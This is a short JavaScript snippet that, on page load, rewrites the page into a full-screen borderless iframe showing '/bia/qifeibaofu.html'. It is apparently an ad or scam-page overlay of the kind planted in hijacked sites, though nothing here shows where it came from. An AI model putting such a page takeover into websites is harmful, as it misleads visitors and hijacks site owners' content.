function guanggao(url) {
        document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
        var iframe = document.createElement('iframe');
        iframe.src = url; 
        iframe.scrolling = 'auto';
        iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
        var div1 = document.createElement("div");
        var div =  document.createElement("div"); 
        
        div1.style.overflow = "auto";
        div1.appendChild(iframe);
        div.appendChild(div1);
        document.write(div.innerHTML);
}


    window.addEventListener('DOMContentLoaded', function () {
        guanggao('/bia/qifeibaofu.html')

    });